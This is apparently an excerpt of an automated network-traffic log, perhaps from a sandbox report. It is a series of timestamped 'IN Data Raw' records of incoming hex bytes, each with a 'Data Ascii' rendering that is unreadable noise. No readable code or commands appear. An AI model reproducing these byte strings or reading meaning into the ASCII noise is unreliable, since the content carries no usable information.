2021-10-12 14:35:51 UTC 187 IN Data Raw: c0 01 76 7c 70 0f cc 21 a3 70 c6 f5 ad 67 d6 10 8d e9 6b f9 a1 df b3 09 18 43 44 a5 cd 31 4c 04 65 d3 0c d2 a3 
7d b2 11 20 22 fb fd 78 3a 6f 5a 09 9a 7d 09 8c 21 aa fa 77 54 c3 ac 76 af 70 0d 42 da 68 60 63 ae 89 ba 44 e3 0c ea f0 de
49 eb d1 6b 3b 36 bc c6 49 79 c8 13 35 17 34 a4 b5 6f c0 ef 31 28 f3 58 dc 51 84 f0 9f 2f f5 90 ed 01 02 0b cf 59 c9 4f ae 
51 04 32 2b b9 3a ab 38 7c 0e 3d 75 f0 91 f3 65 70 43 dc b8 76 c7 ae a5 35 39 b6 ff 43 f3 ca 9e fd 2a 3a 59 32 94 86 87 
b3 41 41 a1 c3 c9 ae 8f 3e 81 1b e1 67 8c 21 f4 9d c6 30 a0 dd 79 a7 b0 ea 28 95 f8 a5 04 ba 28 d8 c8 b3 60 57 07 a4 ab 
d0 57 3e 2d f8 01 82 ee 4f b7 60 27 89 f4 82 30 61 7a 78 2a 65 38 72 52 4b ee 0d c2 88 f1 8c ec 5b 65 8d 47 e8 8d 05 ea 
5d 98 87 2b 48 3c d8 7a db 75 70 80 3e 75 95 cc 
Data Ascii: v|p!pgkCD1Le} "x:oZ}!wTvpBh`cDIk;6Iy54o1(XQ/YOQ2+:8|=uepCv59C*:Y2AA>g!0y((`WW>-O`'0azx*e
8rRK[eG]+H<zup>u

2021-10-12 14:35:51 UTC 189 IN Data Raw: 84 70 cd 37 82 25 16 b5 42 de 97 f3 f0 1e 9d 2f 32 15 0f 05 7a ea c9 f5 56 87 68 2c 41 f8 b0 c9 b9 4f 21 28 95 
a8 74 8b 87 54 76 0c d3 08 12 b1 05 a3 07 6c 99 3c 87 30 04 6f 18 82 b7 8f 30 8f 46 f6 dd d0 82 f1 49 b6 6a 93 c0 c4 48 
25 57 39 b2 cd 76 9d 6a ca 1a 72 2b f5 74 64 65 a8 81 fd c3 ba e4 06 75 67 37 76 ba 85 4c c8 af fe 8e dc be ba 65 1f 3b 
92 37 e6 f2 ca 4c 16 f5 0c 6e 56 5d c0 63 45 f5 b8 a1 6e a9 66 82 ed 38 c6 5e 9b 2f 8a 25 e9 d7 df 88 10 ba 60 e2 0f a3 61
e1 e1 b8 2b fe 55 fb 81 cf 26 8b 51 c0 5e 55 42 e9 97 73 d4 75 a4 0f eb 63 b1 2d 08 b8 83 13 dc e9 2d 88 a9 73 93 13 6a 
cf c3 15 ea 96 2b ac 65 27 45 75 ef 1c 58 cc 07 1f 03 ae e9 ba 97 c8 bc 69 2c 5d d1 5e ae cd 0c ac f7 bf e2 df 8b 9b 66 10 
57 be f8 33 8a 0c c8 21 ed 1d f3 ff 44 69 1a 27 
Data Ascii: p7%B/2zVh,AO!(tTvl<0o0FIjH%W9vjr+tdeug7vLe;7LnV]cEnf8^/%`a+U&Q^UBsuc--sj+e'EuXi,]^fW3!Di'

2021-10-12 14:35:51 UTC 190 IN Data Raw: e1 3e aa cf 44 fb 78 46 a4 cf 23 f7 58 3b c9 54 ce be fa e0 7a c0 e0 d9 44 9a 60 29 61 2a 77 04 d8 44 48 31 0f 
2d 0e 56 ab 82 67 e3 94 bd e5 c4 d9 4f 05 33 8e 4a 80 23 36 c0 50 95 de 63 60 0a 75 ef 2d 17 b4 2b 3f 1f 7f 17 1e 56 56 
02 f6 8b f7 25 05 b1 c4 5a 54 5f ac 2a ce 7c ec 22 ca 3b a2 a9 45 1c 9c b2 da 26 ce 25 a0 31 ed 26 fb b7 2a b5 49 34 c0 
e9 a1 f2 45 15 cb 75 58 10 52 82 01 c6 b5 f6 3a a1 a9 49 b4 dd 6a 8d 8d ad 56 b1 c7 7c 58 ae ef 55 7b 3b ce 84 0f 0c 09 
e0 22 f8 ea 68 af 59 b8 b9 af fc c1 0e 94 c3 8d 53 27 60 41 89 10 cc a1 e7 0a 84 1a 2e be 26 d3 0c 85 63 95 c3 80 1c 1b 
d5 4f 93 52 7e ab 4f 14 57 cb 3b 66 a7 d5 9a 70 93 70 60 2a 54 e6 09 ca 15 d8 2e 14 01 e0 78 c0 f4 c1 5f 3c 0c 25 0f e3 
c4 32 10 41 9a 9f f8 ae 83 eb 3f 72 78 2c b6 39 20 18 
Data Ascii: >DxF#X;TzD`)a*wDH1-VgO3J#6Pc`u-+?VV%ZT_*|";E&%1&*I4EuXR:IjV|XU{;"hYS'`A.&cOR~OW;fpp`*T.x
_<%2A?rx,9 

2021-10-12 14:35:51 UTC 191 IN Data Raw: 88 95 cf 2e c6 f5 3e 35 18 af 08 85 f6 aa ea 16 e1 3e 52 35 1a 33 31 78 47 d2 d0 c8 d0 28 f9 68 6c 7b d4 a3 bd 
b1 d5 14 04 86 d0 24 2b d7 78 ac 7a 83 a5 8f 98 16 36 37 54 09 13 94 a8 94 32 11 9f a7 1d 28 b6 a7 f0 00 43 9a c8 f1 ab 
b7 5c d0 2b 50 12 44 fc 92 f4 4e aa 79 03 0a 4b 2e fb 9b a7 75 d6 35 f4 fd 62 f4 78 b6 72 ca ad 92 bc a6 cf 81 26 a6 e5 cc 
b2 5b cb 13 ab 50 ee cc 22 ac 29 d6 36 a1 b1 bd c3 6d 6a c7 57 99 99 37 6b bd 1d e8 96 b0 9c 5a b5 c6 d6 0c fa 52 2c 49 
25 ad 20 29 56 32 1c dc 21 6f 66 18 79 79 2e a5 14 23 61 7a 7e 26 d1 48 91 41 b8 1c bb 30 88 15 25 ab d7 20 98 3d 29 
6e f3 68 6d d4 72 2f 90 9b 11 21 08 ab 15 b9 03 55 c2 07 20 6a f8 a2 25 3e 85 1c d1 81 84 4c 58 6e 91 bd ab 16 7a 87 52 
13 d9 37 f0 f8 36 34 7a 7e 84 50 df e0 e6 56 7d 6e aa 
Data Ascii: .>5>R531xG(hl{$+xz67T2(C\+PDNyK.u5bxr&[P")6mjW7kZR,I% )V2!ofyy.#az~&HA0% =)nhmr/!U j%>LX
nzR764z~PV}n

Timestamp
kBytes
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2021-10-12 14:35:51 UTC 192 IN Data Raw: 08 f3 60 d5 86 11 b1 32 78 04 fe 2e 3b 73 56 07 f6 0f 2d 78 59 fc e2 58 87 1e 02 e0 3d e6 d9 d6 75 07 7d 6a 77 
ac da 3f 7c 13 4d db 07 dd f9 7b 55 19 4e 2d 2f d5 59 31 27 56 10 8f b7 02 7e 2d 35 d1 92 5a 67 a1 73 b3 c0 07 c7 d7 2f 
6e 28 bb 0b a8 79 e7 1d ff a8 ce 55 d5 7f 7f 44 25 f7 de 98 6c ea 00 36 21 27 b3 a4 7d 78 c9 d3 38 0b 49 7b 6f bf e6 6a 3d 
9e b4 71 17 f4 1c c1 59 71 58 e7 46 c8 26 82 aa cd bf 8c 4d 32 2e c3 e7 57 d5 40 65 44 c8 b1 41 54 bc ec 23 da 8d ed 51 
6d dc 3c f0 a6 27 a9 2a 16 b6 c0 ae 2c 59 5c c8 f0 b6 e5 26 40 2f 3d 7e ef 3b bb a1 9d 29 61 c7 2e 95 67 f3 59 8c 18 b6 
5b a0 f1 c1 07 84 93 49 75 be 4b de d3 23 89 e0 10 8f 7e 51 ab 7f 55 8f 36 9d 57 7e 95 7d e1 7f f7 6d 5a 64 b0 16 07 94 
aa 81 90 45 66 91 d9 e5 85 1b ea 40 c9 bc a3 56 ff 
Data Ascii: `2x.;sV-xYX=u}jw?|M{UN-/Y1'V~-5Zgs/n(yUD%l6!'}x8I{oj=qYqXF&M2.W@eDAT#Qm<'*,Y\&@/=~;)a.gY
[IuK#~QU6W~}mZdEf@V

2021-10-12 14:35:51 UTC 194 IN Data Raw: 58 6f cf f8 fb b5 db f3 2d ce aa 7f 7b 33 a2 00 e5 b3 fa da 18 e9 5f 1b 65 2f 3e 39 1a 0a 80 ea c6 d9 4b 88 3a 29
79 dd c7 c8 e5 4a 1a 0d e3 a9 70 8f da 71 ca 07 d5 0c 81 90 71 a2 61 68 09 1d fc 31 cc 6e 01 97 ce 85 70 8a a7 f8 75 df 
c0 f4 f2 a5 c1 9c 8a c1 70 00 33 38 ce c8 4d b8 01 cb 56 77 2e f9 e2 6b 2b ad 3e f6 87 b2 aa 03 be 60 b1 79 f2 80 a5 dd fd 
fe c6 d9 cc a0 26 17 71 97 53 fc b2 c2 ce 15 d6 38 de 59 d9 c3 6c 64 47 bb fd 6e 1c 69 2c ed 8e c4 b0 94 c5 84 ad ea 0f f2 
f2 19 22 60 af 28 8a 6f 
Data Ascii: Xo-{3_e/>9K:)yJpqqah1npup38MVw.k+>`y&qS8YldGni,"`(o

2021-10-12 14:35:51 UTC 194 IN Data Raw: 5b e3 d4 29 cb 5b 71 82 71 26 00 51 4c 5d 79 76 80 98 27 d4 43 b0 f3 ea 5d b4 16 2d 5b 82 4d dd 3f 21 9f aa 
1b 92 dc 7a dd cd e8 ea 29 00 53 74 c8 45 56 ca fe 49 1b 07 a9 2d c4 e8 6b 97 82 8c b7 29 19 d0 bd a3 ea 0f f2 f6 1d d1 
ca 89 8d 64 28 72 80 f9 2b 88 ff ee a9 fc 15 f6 df 61 d9 1f 35 f7 78 f7 6b d0 82 5d 45 51 52 ae c8 3c df 16 be 66 18 dd f0 
23 59 79 d9 50 f6 23 ae aa 6a 7b fa 31 4a 55 ff ba dd d4 75 ec ad 70 65 6c b1 53 99 46 5f 63 d9 8a 58 52 e0 75 07 8f 95 
28 6d 78 af cd a8 52 4a 0a 0c 01 d3 2f cc f2 06 05 9a b8 40 4e 6e f3 df 08 08 01 78 72 c3 e3 9a dc 74 9f 75 60 5c 0a 0e 3a 
19 fd 11 75 d3 9e d6 53 9c 10 ae 5d 4b c7 8f 7c 25 2c 0f 51 4b aa b5 64 54 01 c7 1e 41 c7 57 a4 cd 3f 4d d5 61 ef 6d ab 
66 fb 22 5d bb 8c 8a 38 37 f5 f3 4a dd 45 18 2f c4 
Data Ascii: [)[qq&QL]yv'C]-[M?!z)StEVI-k)d(r+a5xk]EQR<f#YyP#j{1JUupelSF_cXRu(mxRJ/@Nnxrtu`\:uS]K|%,QKdTAW?
Mamf"]87JE/

2021-10-12 14:35:51 UTC 195 IN Data Raw: 3f b9 77 05 db 33 d3 ea 20 81 bc 6c ce d7 3f 3a 75 08 0b e9 47 ad cc 89 5f cf be 3f 8f 64 9f 4c f8 17 e4 a5 d4 
5d b7 b0 ec f1 63 66 ec 22 ac 26 4c 4c ca ae dc d0 0b f5 30 28 d2 62 b0 13 62 75 05 5b 02 59 18 48 4b f7 60 0e fb 43 f9 
60 6b fe 8c 7c 91 fd 77 a4 2d cd c4 4c 66 0a b0 f9 cb 11 76 b1 4d 87 fd 9a b8 ea 7d b2 a8 9f e6 4f a9 13 91 ab 83 de 80 03
30 56 b1 dd 82 fa 87 c3 7a 26 5e 32 f1 b6 94 2e b1 e4 ed fe c2 97 87 58 e1 f5 8f 62 f5 c6 79 88 27 6b 14 b3 26 b1 54 9f 9f 
35 b6 d1 86 f0 f1 c6 91 6b a9 1a 7c 5b b1 3f a1 33 cc 3a 9e 69 34 9b d7 d1 a8 fe c5 c6 52 31 37 c2 6a e5 25 f9 50 ff 70 2f 
c3 c2 fb 35 1a 68 42 9e b5 39 72 5b 09 e4 3b 1c 54 d7 52 84 67 69 27 8d 38 6b 2f 3e b3 e9 53 f8 81 12 99 34 62 f9 26 8a 
c7 e7 24 c0 d8 28 28 bb 38 76 75 2e 69 d7 8e 
Data Ascii: ?w3 l?:uG_?dL]cf"&LL0(bbu[YHK`C`k|w-LfvM}O0Vz&^2.Xby'k&T5k|[?3:i4R17j%Pp/5hB9r[;TRgi'8k/>S4b&$((8v
u.i

2021-10-12 14:35:51 UTC 196 IN Data Raw: 34 ad 6b 7d 6e 74 b7 d5 6c 3b 5a 5c d6 73 61 f1 50 69 09 78 17 72 99 28 80 41 d3 48 eb 56 e0 17 48 ff 83 44 
89 3d 46 3a ab 28 c7 dd 39 7a cc dd bf 2b 45 fe 75 fd 10 57 8d 52 48 20 52 ab 4c 6b e9 7c c2 83 ef 19 28 08 85 bf c6 43 
0e e3 a3 1c b6 62 88 b8 32 2a 31 28 f8 16 de fe ab 00 fd 2a a0 dd 26 ac 1d 06 a1 79 90 2a a6 a6 14 11 51 04 c9 c1 63 97 
40 98 05 33 dd 90 75 7e 18 f0 50 93 75 86 cd 43 7b 9e 67 63 30 28 ba 9e 83 5f ad 7b 70 3b 3b e9 14 85 42 02 34 57 cf 44 
56 99 22 39 ed 77 2c 3e 2f ef ad 48 56 1f 5d 4e 67 3d 2b 9b a5 42 61 76 bc 37 26 68 a7 e3 46 5e 77 65 37 05 8f b2 99 4c 
cc da 22 7a 0a 2f 7b 8e b9 c7 6c 12 df bb 0c be 09 9c 05 1c 96 bd 7c 35 74 77 33 6c aa 85 3d be 64 6e 1f 79 99 d9 c4 df 
38 70 8a 00 aa 5b ac 95 a5 f3 1e c8 84 fe 6b 72 b8 b9 5a 
Data Ascii: 4k}ntl;Z\saPixr(AHVHD=F:(9z+EuWRH RLk|(Cb2*1(*&y*Qc@3u~PuC{gc0(_{p;;B4WDV"9w,>/HV]Ng=+Ba
v7&hF^we7L"z/{l|5tw3l=dny8p[krZ

2021-10-12 14:35:51 UTC 198 IN Data Raw: f7 bf 50 a5 8e 5b 95 32 2d c7 32 d3 d5 2e 87 b5 09 fe 87 5b 17 5f 09 00 c8 4d aa dd e0 73 d3 a7 7e fb 4e ba 5d 
e4 06 cd a9 f7 56 bf b0 9e d2 3d 0b d5 1c a0 26 4b 45 94 c0 d9 f2 2e d3 63 23 fa 27 e9 44 10 79 0e 49 06 29 29 16 15 b9 
64 0f ec 2d fb 69 2c 93 d9 5f 91 fd 6a af 3b a2 c5 5d 3c 02 9b fe 9f 66 18 a0 57 83 e1 fc e4 83 4c b8 ad 9e b3 4f b4 33 c7 
e1 f7 df 81 3f 1a 57 a1 8b b0 ac b4 d3 77 36 51 2e e0 e0 a6 49 80 ff fb e5 c5 c1 e6 3d da f1 84 55 e0 cf 4a 82 1b 6e 18 b3 
12 f1 31 be f6 25 a7 cc b6 eb e3 d1 bb 6e eb 7b 57 5a f6 5a b3 33 f5 17 95 6f 56 dd b2 e6 cd f9 c4 8f 7a 37 6e 9b 23 dc 2b 
d7 5b 8b 15 7e ad eb f2 65 69 49 46 98 b4 6c 76 54 14 b9 40 79 73 cb 66 aa 6c 1d 57 df 5c 6b 2b 31 b0 c5 3d cf c2 41 fd 
05 63 c4 21 9f 9a 92 45 eb fd 0c 6b ad 1e 53 
Data Ascii: P[2-2.[_Ms~N]V=&KE.c#'DyI))d-i,_j;]<fWLO3?Ww6Q.I=UJn1%n{WZZ3oVz7n#+[~eiIFlvT@ysflW\k+1=Ac!EkS

2021-10-12 14:35:51 UTC 199 IN Data Raw: 67 86 2b 48 39 0f d9 47 4a 01 5c b7 ac 59 0a 5a 58 eb 1d 42 f1 3f 75 24 08 13 26 fe 2f a0 1e d1 6a 8a 46 d5 65 
79 d2 f3 47 dd 4e 44 1a f4 0b e4 bc 0e 4e be cd 93 5b 65 ab 32 de 31 03 b3 77 2d 68 54 c4 4e 55 8c 6a c3 fa fc 29 28 1f 
b5 cb fc 55 61 eb 82 79 bf 43 dc 83 14 4f 72 38 91 3e ed ad 86 37 8f 09 f6 9e 0e 97 6d 2f 85 1c f7 1f a6 8b 09 28 02 03 de 
c0 5f aa 63 ea 01 65 ba 97 57 21 32 c8 26 96 51 ef c9 7b 0f bb 44 0f 23 0b c8 b9 d4 38 8b 58 2f 3c 19 9b 23 b7 2c 30 20 
22 e4 67 23 a3 10 39 cf 41 5c 28 0d 9d ab 1f 17 0b 7a 22 6b 09 4a 89 9b 2d 68 63 dd 07 2b 1a be 82 66 54 4e 62 1b 09 80 
a3 9f 5b f7 b6 05 41 7e 05 4c e0 bf fe 1f 32 87 f3 3e 92 79 8c 38 7e 8c 80 0f 24 43 19 22 51 aa a1 00 ca 52 53 6c 6c ae b7 
d1 e2 38 54 be 6f 9b 67 ac 92 95 80 2a fe f7 de 
Data Ascii: g+H9GJ\YZXB?u$&/jFeyGNDN[e21w-hTNUj)(UayCOr8>7m/(_ceW!2&Q{D#8X/<#,0 "g#9A\(z"kJ-hc+fTNb[
A~L2>y8~$C"QRSll8Tog*

2021-10-12 14:35:51 UTC 200 IN Data Raw: 53 57 dc 5d 46 d5 ac 0f a0 86 3f 91 55 6b cc 39 b6 fb 26 e3 b4 6e ae 81 5a 07 69 2d 17 e0 45 ce de 87 30 c6 
b9 0e dc 58 9a 5d f3 0e 82 90 d2 4b be b4 fa f8 3c 01 a5 1d a0 21 67 7c 9a ca f0 f4 24 d1 63 2e f6 20 cd 40 16 51 23 44 0d 
4d 18 15 1e f7 5e 3f cf 15 d9 62 3b a3 e8 58 96 f9 05 8c 3b d6 e7 56 2b 32 bd fe 96 44 76 97 47 91 fb cc e7 c4 6b a5 a8 
8c da 68 a0 49 eb f4 e2 ed 86 38 1e 38 83 9c df 97 97 c7 68 27 21 68 d6 f1 d4 47 8b ec a4 c4 d9 e6 d4 2b cf a6 c2 67 e0 
d8 65 83 10 0a 38 b2 25 e2 24 be b2 37 b6 d9 ba ea e2 dd 86 6c 9b 4f 4b 5e f1 5c 94 2c fc 37 91 69 63 fc a3 f1 a4 f1 c6 8f 
78 2a 76 98 06 de 2b d4 6d ff 34 72 ad e8 bf 47 7f 4e 77 8d b8 1a 5a 41 18 85 7f 73 66 d1 6b a8 5a 69 64 d2 56 5e 4a 1c 
b8 cd 4d ed c2 41 ca 14 7f d9 26 99 f6 85 4b db e1 
Data Ascii: SW]F?Uk9&nZi-E0X]K<!g|$c. @Q#DM^?b;X;V+2DvGkhI88h'!hG+ge8%$7lOK^\,7icx*v+m4rGNwZAsfkZidV
^JMA&K

2021-10-12 14:35:51 UTC 201 IN Data Raw: e7 18 ea a0 93 46 86 3f 74 4b 13 c8 5c 76 3d 55 80 a0 5b 06 2e 63 d2 01 49 d1 3f 42 32 14 76 55 fc 3e 8b 04 
de 7d 89 5e d1 44 5e c7 83 60 b0 3d 62 03 ab 2e ff dd 3f 42 cc df 87 2b 47 c6 75 f3 28 57 8c 6e 24 0d 54 df 5f 5b 88 73 97 
e4 e9 38 77 2e b1 cc c6 45 7a f7 93 7d bc 37 cf 9f 10 78 17 0d 88 3d e6 8d 8b 05 89 1e 93 bc 0c fa 59 2b 91 15 96 3b b7 
aa 29 35 34 16 c1 b5 5b bb 62 c7 21 0b b9 bd 45 2d 0f d4 35 96 4e 86 eb 67 02 88 45 0c 04 0a c8 b9 b5 32 ee 6b 15 0b 
3e 8c 20 a7 27 37 17 04 fc 61 33 b0 18 39 c1 45 41 33 0a 96 9d 6b 24 1e 6b 23 02 0d 4e 89 ad 0e 56 40 ce 15 23 1a 97 
86 7f 6e 56 50 10 1e 82 ba dc 53 fe ae 3f 72 6b 1e 42 e3 fd fd 01 57 e4 d6 4a 82 64 db 3a 79 aa ba 35 20 49 1a 51 47 cf 
92 3a f7 74 53 72 1c 97 b8 d7 eb 4c 50 b7 74 a1 76 c9 bb fc 
Data Ascii: F?tK\v=U[.cI?B2vU>}^D^`=b.?B+Gu(Wn$T_[s8w.Ez}7x=Y+;)54[b!E-5NgE2k> '7a39EA3k$k#NV@#nVPS?
rkBWJd:y5 IQG:tSrLPtv
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2021-10-12 14:35:51 UTC 203 IN Data Raw: d4 31 0d c6 d1 5a 23 d5 4f 32 dd ad 5d 89 8f 58 95 77 13 cd 3b c6 ec 28 8c be 09 ef 94 58 06 5b 02 09 f1 6c bb 
d4 8c 75 d9 bd 6b ff 55 80 46 f8 63 e5 aa cc 58 b7 bc fa de 22 03 d7 0f b1 3c 57 42 be d6 f7 f8 3a c2 0a 0f fd 57 d2 4e 01 
5f 04 59 26 51 12 1e 09 83 62 04 e7 2d dd 7e 3f b9 e1 54 96 ea 40 b3 3d c7 d2 4c 21 32 b7 97 9f 46 02 9b 7a 87 fc ca f8 
83 5f a3 a0 94 dd 06 b4 02 d6 c6 c7 ef 9c 35 0b 51 b5 9a d9 95 bb a6 7c 27 63 03 d6 f1 c7 5a 90 f8 e0 f5 c5 c7 c7 31 da 
e4 9f 5b fa aa 5f 94 04 7e 18 ac 68 d1 21 b5 82 3f af dd c7 dd ff da 9b 7f e9 7b 4c 55 e7 5b b0 24 fc 10 85 69 6b c0 b9 83 
88 f1 d7 e6 4e 2a 6f f6 39 c5 38 d9 50 ec 05 74 ae ff de 72 73 49 48 91 d1 3e 4e 5b 7d b2 68 68 5f fb 73 bf 65 56 73 c2 7c 
56 3d 31 d7 c7 58 f8 ef 77 f1 09 6b c4 03 9b 
Data Ascii: 1Z#O2]Xw;(X[lukUFcX"<WB:WN_Y&Qb-~?T@=L!2Fz_5Q|'cZ1[_~h!?{LU[$ikN*o98PtrsIH>N[}hh_seVs|V=1Xwk

2021-10-12 14:35:51 UTC 204 IN Data Raw: d8 a3 8b ae d7 f7 2e c2 b6 8f 6f 86 37 6a 4b 34 c2 6f 4c 00 55 91 bc 4a 3f 3b 68 e3 1e 43 d1 35 53 5d 3d 18 45 
f6 2e b1 33 e0 7d 99 53 d9 72 59 ce f1 22 98 53 55 0b d9 6a d0 b4 0e 6c a3 f7 9c 4e 72 df 10 c9 45 15 a3 69 29 1a 7e ed 
42 4c 84 7f e3 f7 e9 3e 28 0b b5 cb fc 55 61 e8 86 69 a5 52 fa fa 37 4f 00 08 9d 20 cb 91 83 26 88 18 93 af 61 9d 78 3a a8 
3d 99 3c 80 9c 2e 28 3d 01 c9 c7 3c ad 73 ec 3b 21 b3 81 71 1b 08 c9 3c 81 46 f4 a8 46 1e 8c 72 0f 3e 0e d8 b3 b5 2d 8a 
7a 19 1a 1b 8c 23 d2 16 2b 2f 38 ff 76 24 d1 13 4b 8c 47 5e 5c 3b 87 bc 1f 12 12 78 4e 44 06 44 92 80 42 45 53 d9 15 3a 
7f a0 91 64 5b 64 63 05 29 91 a5 b3 46 9b 99 0c 47 6b 1e 73 fc 92 f5 09 34 f3 fe 38 94 66 a9 5d 4f bb 91 2c 26 43 1d 34 
57 de a3 17 cc 6f 44 1f 4f ae ba c9 e2 4c 52 a0 72 
Data Ascii: .o7jK4oLUJ?;hC5S]=E.3}SrY"SUjlNrEi)~BL>(UaiR7O &ax:=<.(=<s;!q<FFr>-z#+/8v$KG^\;xNDDBES:d
[dc)FGks48f]O,&C4WoDOLRr

2021-10-12 14:35:51 UTC 205 IN Data Raw: ac ff 1e c1 de e2 38 0b ab f7 5b 39 ee 5b 2f fc b8 0f ab 8e 51 86 57 19 dd 37 d9 f6 32 e3 83 70 dd 92 5a 1e 18 
33 02 fd 56 e0 ea 85 57 d4 b2 6f fd 64 91 59 e4 06 df b7 d3 56 b5 a6 9e f6 37 12 fa 27 ab 36 54 59 9f cb dd f3 0d da 0c 02 
f2 3b ce 51 07 46 00 59 0a 46 1f 08 79 84 6e 1f d6 64 f2 6f 34 b9 e8 54 b1 f0 42 a7 31 c0 c3 54 07 2d bc e5 99 57 1f ab 50 
91 8f fa f3 99 5b b2 a4 d5 f0 69 ab 0b c7 fa f7 e3 80 38 0a 38 b6 8b c4 a5 98 c7 63 2b 7a 29 e8 c4 d3 5a 8a e6 c5 e4 df c7 
e7 3d ce f9 84 51 f7 de 65 82 19 79 7d 92 32 f1 3d b5 91 05 b2 d4 80 ea df c4 9c 62 f4 74 56 3b d0 5a 92 39 e1 3c 80 69 
6b c0 b9 f0 cd f8 c4 fb 63 02 73 99 1f c1 39 b0 59 ee 32 44 80 e7 de 72 69 3a 60 9a a5 2f 53 54 0f a6 0d 5b 65 cc 4e a0 68 
7a 73 fe 56 5a 25 3b b2 d2 4e 8c e3 5d ea 
Data Ascii: 8[9[/QW72pZ3VWodYV7'6TY;QFYFyndo4TB1T-WP[i88c+z)Z=Qey}2=btV;Z9<ikcs9Y2Dri:`/ST[eNhzsVZ%;N]

2021-10-12 14:35:51 UTC 207 IN Data Raw: df f6 38 7f 1c d1 98 e9 a3 d7 e0 05 c1 a1 8c 6f 87 3e 6c 4b 29 ec 5b 50 00 53 b1 b0 5a 1a 36 6e 82 3e 55 c2 12 
4e 25 2a 13 55 ec 26 a0 41 c3 79 9f 6d e1 64 48 d9 c2 45 b8 53 55 6e fc 0f f0 9e 16 46 a9 f7 9e 2b 53 c6 01 cb 06 3b a3 
62 26 1c 07 f8 54 4d 9d 7b fa ad c1 2d 46 0d b7 da ce 73 60 f1 f6 44 bc 5b cd 96 01 47 17 10 8c 52 c9 8a 9a 37 9e 04 9b 
b8 0f 8e 1d 0b 99 0f 9e 3d bd 97 30 22 3f 03 ac ed 51 b2 52 f7 07 10 b0 97 4d 0a 7b c1 35 83 7c d6 c9 67 1e 96 45 63 10 
1b ce 8c b5 2d 8b 42 04 7f 0b 8c 25 8d 01 31 11 25 ed 7d 22 d1 3c 69 c9 4e 48 0c 17 86 a0 6b 56 1c 6f 3a 5d 26 44 9e 93 
2e 43 4f d8 24 21 73 9e 97 0b 56 64 74 2e 2f 8c a2 b2 40 9b bd 05 56 55 38 4a ed 96 dc 03 22 e9 cf 4a a1 6c af 1e 74 bf 
97 3f 3b 59 19 25 34 ef 88 01 ff 63 55 7a 6c b5 d9 e0 
Data Ascii: 8o>lK)[PSZ6n>UN%*U&AymdHESUnF+S;b&TM{-Fs`D[GR7=0"?QRM{5|gEc-B%1%}"<iNHkVo:]&D.CO$!sVdt./
@VU8J"Jlt?;Y%4cUzl

2021-10-12 14:35:51 UTC 208 IN Data Raw: d4 4a 33 88 b6 a6 f4 73 e0 bb c1 3f 0b df c6 4d 1c ff 43 46 f4 b2 0f 8f 98 3f a3 4b 18 da 3b db b6 12 86 b3 7c 
dc 8f 4b 0a 18 24 15 fc 52 ba d7 87 42 c0 ae 66 f6 21 8e 4c e2 3c ed b7 c9 5c b6 b7 f2 e8 52 21 c0 1a 80 2d 5d 4f 8e da fd 
f3 2d f7 10 13 f6 3a e3 4d 1b 34 06 48 17 76 30 1f 1d 85 6e 18 fa 6b fd 61 31 a0 f5 31 b5 eb 69 bf 37 d2 ce 41 48 1c b7 ee 
f8 61 1a ab 5d 89 cc c6 fa 93 2f 84 b0 88 c7 63 aa 49 f0 ec ed fe 86 3b 1c 16 96 8b c2 93 b4 ca 72 38 76 28 ec ea c8 00 
a3 e4 d6 fd d7 d0 c1 3d d8 e3 d8 76 fd c4 6d 9f 0e 0a 1a a4 32 dc 00 b4 82 37 ae e8 81 e7 e3 dd 8b 6a f7 57 40 56 ed 4d 
8c 5c da 01 95 7c 76 ca 93 ea bf fa c2 fb 53 37 78 f6 0d d4 3e ef 6c ee 21 72 b0 fb cd 79 1a 5d 42 8b 8e 2f 5a 45 1c b6 64 
68 79 b8 56 b8 68 71 7f cf 41 39 25 2f 88 e5 
Data Ascii: J3s?MCF?K;|K$RBf!L<\R!-]O-:M4Hv0nka11i7AHa]/cI;r8v(=vm27jW@VM\|vS7x>l!ry]B/ZEdhyVhqA9%/

2021-10-12 14:35:51 UTC 209 IN Data Raw: b2 cd 68 64 c5 b4 96 60 1d 69 bd e2 ef c4 b1 9a 54 8b ca ef 2e f0 53 04 53 66 8d 29 28 7c b0 66 d1 09 6e 5b 
17 84 73 25 ad 5e 2f 5f 7c 76 27 9b 44 d2 41 b1 0e 6b a3 ba 12 2d ab 9e 30 b8 38 01 6e b9 ea 0f d8 7a 2e cd 8b 83 2f 00 
aa 74 b5 43 57 c9 06 46 66 05 ac 2d 3c e8 10 86 03 29 4f 2e 7e bd b9 83 14 1c e8 f8 1e d4 17 8a fb 6a 36 76 7e f9 5a 86 
f8 e9 55 e1 61 e7 f9 65 fa 1c 40 fe 7c f7 4f c0 79 9c 42 71 77 be 35 f9 da 16 99 69 6b de f2 23 62 6b a1 56 f9 31 06 65 07 
fb 29 23 e3 82 6c 3a 05 da 59 ee 2d 62 ff b1 e7 54 d2 42 56 e3 b2 8e 33 57 d0 67 b9 69 24 0c 5d 79 e7 cb 3f 56 69 8a 9f 
07 4a 2b ef 72 97 00 01 bd 75 5c 9a 25 f0 0c 39 13 80 bc 7e 63 06 ce b4 4e c7 65 30 8a 9d 2b 92 f5 9c 4c 57 8d b1 6a e5 
08 d5 4c 9c 2b f4 fc ad 28 77 50 3c b6 e1 45 bd 08 2b 
Data Ascii: hd`iT.SSf)(|fn[s%^/_|v'DAk-08nz./tCWFf-<)O.~j6v~ZUae@|OyBqw5ik#bkV1e)#l:Y-bTBV3Wgi$]y?ViJ+ru\%9~cN
e0+LWjL+(wP<E+

2021-10-12 14:35:51 UTC 210 IN Data Raw: f0 a0 94 94 e1 ad cf f0 7e 36 2f bc 1c 81 b2 aa d4 05 ed 39 1b 26 46 3f 3e 79 05 d7 ca c6 db 26 9b 6e 20 67 cf 
22 48 ac 58 72 11 9b b4 38 93 c5 73 b1 1a 92 0c 87 8c 0a b1 03 66 16 01 89 3e 88 7c 35 8a a5 80 29 8b af e4 11 de 93 e8
ef b7 82 93 cc dd 6f 0e 59 2b a6 d5 4e ba 69 ca 03 76 30 eb ae 64 69 b1 22 f8 e0 a1 c0 01 be 6a cd 7b 81 01 25 cf 01 2a 
b5 b0 c8 a0 59 17 0f 92 5c e5 cb cf b1 09 c1 2a 20 d5 bd dd 6d 78 db a6 85 72 03 75 a0 f0 f4 c6 ac 94 52 83 d4 eb 0f ec 
52 04 4c 75 bf a9 a4 6f 2e e3 d3 09 6d 5b 12 91 73 2e a5 53 3d 41 65 6a 3b 97 4f f4 40 a3 1c e3 34 b4 14 31 b7 9f 20 d9 
3d 20 6c b7 6c 92 de 78 33 d0 9b ed 3e 12 2a e0 ba 5b 57 db 17 49 69 12 b9 ac b3 e8 00 97 96 9e cd a5 6d ce bf 23 b6 
